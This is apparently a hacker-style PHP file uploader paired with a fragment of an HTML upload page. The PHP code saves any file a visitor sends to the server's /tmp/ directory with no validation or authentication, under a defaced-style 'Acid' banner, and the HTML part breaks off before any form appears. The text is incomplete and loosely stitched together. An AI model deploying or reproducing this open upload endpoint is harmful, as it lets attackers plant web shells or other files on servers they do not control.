$uploaddir = '/tmp/'; // Change the directory as per the requirement
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
print '<body bgcolor="#000"><br/><br/><div align="center"><font size="5" color="#ff0000">uploaded successfully</font></div>';
} else {
print '<body bgcolor="#000"><br/><br/><div align="center"><font size="5" color="#ff0000">Error!</font> <marquee> Acid </marquee></div>';
}

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
Avinash Kumar Thapa <title>Avinash Kumar Thapa</title>

<body bgcolor="white">
<div style="color:#F00; text-align:center; margin-top:60px; font-size:25px;">
&gt;&gt; &nbsp; Upload Your file
</div>
<div style="padding-top:75px; margin-left:450px; width:340px; height:70px;">

&nbsp;


</div>